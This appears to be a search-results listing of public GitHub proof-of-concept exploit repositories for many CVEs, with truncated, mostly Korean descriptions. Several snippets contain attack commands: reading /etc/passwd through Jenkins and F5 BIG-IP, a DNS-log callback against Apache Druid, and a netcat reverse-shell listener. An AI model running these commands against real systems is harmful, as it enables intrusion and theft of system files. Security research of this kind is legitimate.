308453 matches found
PoC-CVE-2025-55182
이 스크립트는 React.js 및 Next.js에서 사용되는 React Server Components에 영향을 미치는 RCE인 CVE-2025-55182를 악용합니다. 영향을 받는 React 버전: 19.0.0 19.1.0 및 19.1.1 19.2.0 Next.js: Next.js 15.x 수정 이전의 모든 버전 Next.js 16.0.0 취약한 React 19를 기반으로 구축된 초기 alpha/beta/RC 버전 사용법 git clone https://github.com/LuizHenz/PoC-CVE-2025-55182 c...
cve-2022-26809
CVE-2022-26809 Detects attempts and successful exploitation of CVE-2022-26809, a remote code execution vulnerability over DCE/RPC. This package is described in detail in this Corelight blogpost. This package generates the following notices: CVE202226809::ExploitAttempt 및...
CVE-2020-10239
HK 제작 CVE-2020-10239: comfields SQL 필드의 부적절한 접근 제어 - RCE PoC 영향을 받는 버전: Joomla 코어 3.7.0 3.9.15 사용자 요구 사항: Manager 계정백엔드 최저 권한 접근 권한 획득: Manager에서 Superadmin으로 변경한 후 RCE 트리거 Joomla에서 원격 코드 실행 RCE 자신의 자격 증명과 액세스 링크로 cve202010239.py 실행:...
exploit-CVE-2020-5844
CVE-2020-5844 Pandora FMS v7.0NG.742 익스플로잇 - 원격 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 작성자 @UNICORDev 작성자: @NicPWNs 및 @Dev-Yeoj 취약점 설명 Pandora FMS v7.0 NG의 index.php?sec=godmode/extensions&sec2=extensions/filesrepo는 인증된 관리자가 악성 PHP 스크립트를 업로드하고, 파일 위치의 base64 디코딩을 통해 실...
CVE-2024-7120
Raisecom 기기 명령 주입 CVE-2024-7120 개념 증명! 개요 RAISECOM 게이트웨이 기기모델 MSG1200, MSG2100E, MSG2200, MSG2300에서 명령 주입 취약점이 확인되었습니다. 이 취약점으로 인해 원격 공격자가 웹 인터페이스를 통해 시스템에서 임의 명령을 실행할 수 있습니다. 문제는 listbaseconfig.php 스크립트, 특히 template 매개변수에 있으며, 인터넷 상의 25,112개 이상의 기기에 영향을 미칩니다. ✔ FOFA : title="web user login" &&...
CVE-2023-22515_RCE
Confluence에서 관리자 권한을 획득한 후의 rce 방식 수동 Getshell 단계 백엔드에서 사용자 정의 플러그인을 업로드하여 rce를 구현할 수 있습니다. plugins/servlet/com.jsos.shell/ShellServlet에 접근하세요...
CVE-2016-3088
CVE-2016-3088 Apache ActiveMQ 원격 코드 실행 익스플로잇 설명 Apache ActiveMQ 5.x5.14.0 미만의 Fileserver 웹 애플리케이션은 원격 공격자가 HTTP PUT 후 HTTP MOVE 요청을 통해 임의의 파일을 업로드하고 실행할 수 있게 합니다. 작성자 Alexandre Aguiar @cyberaguiar 익스플로잇 분석 Apache ActiveMQ 원격 코드 실행 취약점 분석 CVE-2016–3088 참고 자료...
CVE-2019-3719
Dell SupportAssist RCE 개념 증명 이것은 CVE-2019-3719에 대한 개념 증명 소스 코드입니다. 이 취약점은 대부분의 Dell 머신에서 원격 코드 실행을 허용합니다. 사용법 python3 main.py Interface Name Victim IP Gateway IP Payload Filename...
CVE-2021-25646
Apache Druid 원격 코드 실행 CVE-2021-25646 by j2ekim 사용 방법 python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" 취약점 재현 글 https://www.adminxe.com/2109.html 사용 시 주의사항 이 도구의 전파·사용으로 인해 발생하는 직접적 또는 간접적 결과 및 손실에 대한 책임은 모두 사용자 본인에게 있으며, 저자는 이에 대해 어떠...
CVE-2024-23897
CVE-2024-23897 CVE-2024-23897 jenkins-cli 우리는 Jenkins 파일 유출 / RCE CVE-2024-23897가 야생에서 악용되는 것을 확인했으며 이를 재현할 수 있었습니다. 만약 Jenkins에서 익명 사용자 또는 사용자 등록을 허용한다면, 즉시 최신 버전으로 업데이트하세요. java -jar jenkins-cli.jar -s https://www.wevul.com @/etc/passwd...
CVE-2021-42013-Apache-RCE-Poc-Exp
Название уязвимости Удаленное выполнение кода в Apache CVE-2021-42013 Описание уязвимости Apache HTTP Server — это веб-сервер с открытым исходным кодом от Apache Software Foundation. Он отличается быстродействием, надежностью и возможностью расширения через простые API. Обнаружено, что исправлени...
CVE-2017-12636
CVE-2017-12636 Usage: python3 exp.py target version1.6|2.1 reverseip reverseport / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / / | /// / /...
CVE-2019-16278-Nostromo_1.9.6-RCE
CVE-2019-16278 - Nostromo 1.9.6 원격 코드 실행 Nostromo nhttpd = 1.9.6의 RCE를 익스플로잇하는 Python 스크립트 도움말 usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE optional arguments: -h, --help 이 도움말 메시지를 표시하고 종료합니다 -t TARGET, --target TARGET 대상 원격 호스...
Spring0DayCoreExploit
Spring Core RCE - CVE-2022-22963 Spring Cloud에 이어 3월 29일, 또 다른 Spring의 중요한 취약점이 인터넷에 공개되었습니다: Spring Core RCE 유포 중인 PoC 코드: 익스플로잇이exp.py로 업로드되었습니다 공식 Spring 패치도 활발히 제작 중입니다 Spring 제작 중인 패치 링크 취약점 영향 범위: 1. JDK 버전 9 이상 2. Spring Framework 또는 파생 프레임워크 사용 버그 수정 제안 현재 Spring은 공식 패치를 출시하지 않았으므로, 임시...
CVE-2021-27850_POC
CVE-2021-27850 익스플로잇 개요 CVE-2021-27850은 Apache Tapestry의 모든 최신 버전에서 발견된 중요한 인증되지 않은 원격 코드 실행 취약점입니다. AppModule.class 파일을 다운로드함으로써 Apache Tapestry에서 모든 직렬화된 객체에 서명하는 데 사용되는 HMAC 비밀 키를 유출할 수 있습니다. 우리는 실제 평가에서 이 CVE를 발견했습니다. 제가 아는 한 Tapestry가 직렬화된 객체에 서명하는 방법에 대한 공개적인 익스플로잇이 없었기 때문에, 오랜 시간 Apache...
rails-rce-cve-2016-0752
CVE-2016-0752 취약점 악용 이 앱은 CVE-2016-0752를 악용하기 위한 취약한 PoCProof of Concept 역할을 합니다. 자세한 내용은 이 블로그 게시물을 참조하세요. 해당 게시물에는 취약점, 악용에 필요한 단계, 수정 방법, Metasploit 모듈 링크가 설명되어 있습니다. 시작하기 echo "" log/development.log Clear out the log file rvm use 2.2.3 bundle rails s 취약 URL: http://localhost/users/dashboard...
CVE-2019-17564
CVE-2019-17564：Apache Dubbo 逆シリアル化脆弱性 0x00 概要 Apache Dubboは、高性能で軽量なオープンソースJava RPCフレームワークです。インターフェース指向のリモートメソッド呼び出し、インテリジェントなフォールトトレランスと負荷分散、そしてサービスの自動登録と検出という3つの主要な機能を提供します。 0x01 脆弱性の概要 Apache Dubboは複数のプロトコルをサポートしており、公式ではDubboプロトコルを推奨しています。Apache Dubbo...
CVE-2021-26828_ScadaBR_RCE
PoC CVE-2021-26828ScadaBR원격코드실행 ScadaBR 0.9.1 Linux 및 1.0, 1.12.4CE Windows 버전은 원격 인증 사용자가 'viewedit.shtm'을 통해 임의의 JSP 파일을 업로드하고 실행하여 원격 코드 실행을 허용합니다. 익스플로잇 사용법 명령어: Windows: $ sudo python WinScadaRCE.py Linux: 먼저 로컬 머신에서 익스플로잇 실행 전에 임의의 포트를 엽니다: $ sudo nc -vnlp 4444 $ sudo python LinScadaRCE.py ...
CVE-2022-1388-RCE-checker-and-POC-Exploit
CVE-2022-1388 RCE 확인 스크립트 CVE-2022-1388 RCEF5 BIG-IP를 확인하는 간단한 bash 스크립트입니다. + 사용법: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 익스플로잇 IP 주소를 변경하는 것을 잊지 마세요. curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive,...